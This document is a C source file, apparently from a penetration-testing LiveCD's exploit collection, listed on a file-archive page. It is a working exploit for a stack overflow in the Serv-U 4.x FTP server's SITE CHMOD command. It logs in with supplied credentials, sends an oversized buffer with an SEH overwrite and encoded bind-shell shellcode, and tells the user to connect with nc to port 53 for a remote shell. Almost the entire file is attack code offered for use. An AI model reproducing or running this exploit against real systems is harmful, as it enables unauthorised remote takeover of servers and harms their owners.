home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / mslug-servu.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  176 lines

  1. /*
  2. * serv-u 4.2 site chmod long_file_name stack overflow exp
  3. * vul discovered by kkqq@0x557.org
  4. * exp coded by mslug@safechina.net
  5. * Jan 25 2004
  6. */
  7.  
  8. /* test with serv-U 4.1.0.7, 4.1.0.11 on win2k sp4 en machine*/
  9.  
  10. #include <winsock2.h>
  11. #include <stdio.h>
  12.  
  13. #define CHMOD_CMD "SITE CHMOD 0666 "
  14. #define ERR_HEADER "550 /"
  15. #define SEH_STACK_POSITION 0x54
  16. #define BUF_STACK_POSITION 0x1ec
  17. #define PADDING_SIZE (BUF_STACK_POSITION - SEH_STACK_POSITION - 
  18. strlen(ERR_HEADER))
  19.  
  20. // bindshell shellcode from www.cnhonker.org
  21. #define    PORT             53
  22. #define    PORT_OFFSET      176
  23.  
  24. //0x0A code removed from shellcode
  25. unsigned char bdshellcode[] =
  26. // decode
  27. "\xEB\x10\x5f\x4f\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0f\x99\xE2\xFA"
  28. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  29. // shellcode
  30. "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  31. "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
  32. "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
  33. "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
  34. "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
  35. "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
  36. "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
  37. "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
  38. "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
  39. "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x99\xAC\xAA\x59\x10\xDE\x9D"
  40. "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
  41. "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
  42. "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
  43. "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
  44. "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
  45. "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
  46. "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
  47. "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
  48. "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
  49. "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
  50. "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
  51. "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
  52. "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
  53. "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
  54.  
  55. //unsigned long jmp_esp = 0x77f4144b;
  56. //unsigned long jmp_ebx = 0x77a5211b;
  57. //unsigned long call_ebx = 0x750219d6; //use this one
  58.  
  59. unsigned char evil_chmod[5000];
  60. unsigned char seh[] = "\xeb\x06\x90\x90" //jmp below
  61.                      "\xd6\x19\x02\x75" //call_ebx = 0x750219d6
  62.                      "\x33\xc0"         //below: xor eax, eax
  63.                      "\xb0\x1c"         //mov al, 1c
  64.                      "\x03\xd8"         //add ebx, eax
  65.                      "\xc6\x03\x90";    //mov byte ptr [ebx], 90
  66.  
  67.  
  68. int main(int argc, char **argv)
  69. {
  70.   WSADATA wsa;
  71.   unsigned short port;
  72.   int ftpsock, ret;
  73.   char recv_buf[1000];
  74.   unsigned long     ip;
  75.   unsigned char buf[100];
  76.  
  77.   printf("*******************************************\n");
  78.   printf("* Serv-U 4.2 site chmod stack overflow exp*\n");
  79.   printf("* Vul discovered by kkqq@0x557.org        *\n");
  80.   printf("* Coded by mslug@safechina.net            *\n");
  81.   printf("*******************************************\n");
  82.   printf("\n");
  83.  
  84.   if(argc<6) {
  85.      printf("serv.exe <host> <port> <user> <password> <path>\n");
  86.      return 0;
  87.   }
  88.  
  89.   WSAStartup(MAKEWORD(2,2), &wsa);
  90.  
  91.   port = htons(PORT)^(USHORT)0x9999;
  92.   memcpy(&bdshellcode[PORT_OFFSET], &port, 2);
  93.  
  94.  
  95.   ftpsock = connect_tcp(argv[1], atoi(argv[2]));
  96.   if(ftpsock < 0) {
  97.      printf("[-] Connection refused\n");
  98.      return 0;
  99.   }
  100.   ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
  101.  
  102.   recv_buf[ret] = 0;
  103.   printf("%s", recv_buf);
  104.  
  105.  
  106.   sprintf(buf, "USER %s\r\n", argv[3]);
  107.   send(ftpsock, buf, strlen(buf), 0);
  108.  
  109.   ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
  110.  
  111.   recv_buf[ret] = 0;
  112.   printf("%s", recv_buf);
  113.  
  114.   sprintf(buf, "PASS %s\r\n", argv[4]);
  115.   send(ftpsock, buf, strlen(buf), 0);
  116.  
  117.   ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
  118.   recv_buf[ret] = 0;
  119.   printf("%s", recv_buf);
  120.  
  121.   sprintf(buf, "CWD %s\r\n", argv[5]);
  122.   send(ftpsock, buf, strlen(buf), 0);
  123.  
  124.   ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
  125.   recv_buf[ret] = 0;
  126.   printf("%s", recv_buf);
  127.  
  128.   memset(evil_chmod, 0x90, sizeof(evil_chmod));
  129.   memcpy(evil_chmod, CHMOD_CMD, strlen(CHMOD_CMD));
  130.   memcpy(&evil_chmod[strlen(CHMOD_CMD)+PADDING_SIZE], seh, strlen(seh));
  131.   memcpy(&evil_chmod[strlen(CHMOD_CMD)+PADDING_SIZE+strlen(seh)+20], 
  132. bdshellcode, strlen(bdshellcode));
  133.  
  134.   send(ftpsock, evil_chmod, strlen(evil_chmod), 0);
  135.  
  136.   printf("[+] Shellcode sent\n");
  137.   printf("[+] Now nc to port 53\n");
  138.  
  139.   closesocket(ftpsock);
  140.   WSACleanup();
  141.  
  142.   return 0;
  143. }
  144.  
  145. int connect_tcp(char *host, int port)
  146. {
  147.   struct hostent *rhost;
  148.   struct sockaddr_in sin_rhost;
  149.   unsigned long ip_rhost;
  150.   int sock;
  151.  
  152.   memset(&sin_rhost, 0, sizeof(sin_rhost));
  153.  
  154.   sin_rhost.sin_family = AF_INET;
  155.   sin_rhost.sin_port = htons(port);
  156.   ip_rhost = inet_addr(host);
  157.   if(ip_rhost==INADDR_NONE) {
  158.      rhost = gethostbyname(host);
  159.      if(rhost==0) return -1;
  160.      ip_rhost = *(unsigned long*)rhost->h_addr;
  161.   }
  162.  
  163.   sin_rhost.sin_addr.s_addr = ip_rhost;
  164.  
  165.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  166.   if(sock<0) {
  167.      return -1;
  168.   }
  169.  
  170.   if(connect(sock, (struct sockaddr*) &sin_rhost, sizeof(sin_rhost))) {
  171.      return -1;
  172.   }
  173.  
  174.   return sock;
  175. }
  176.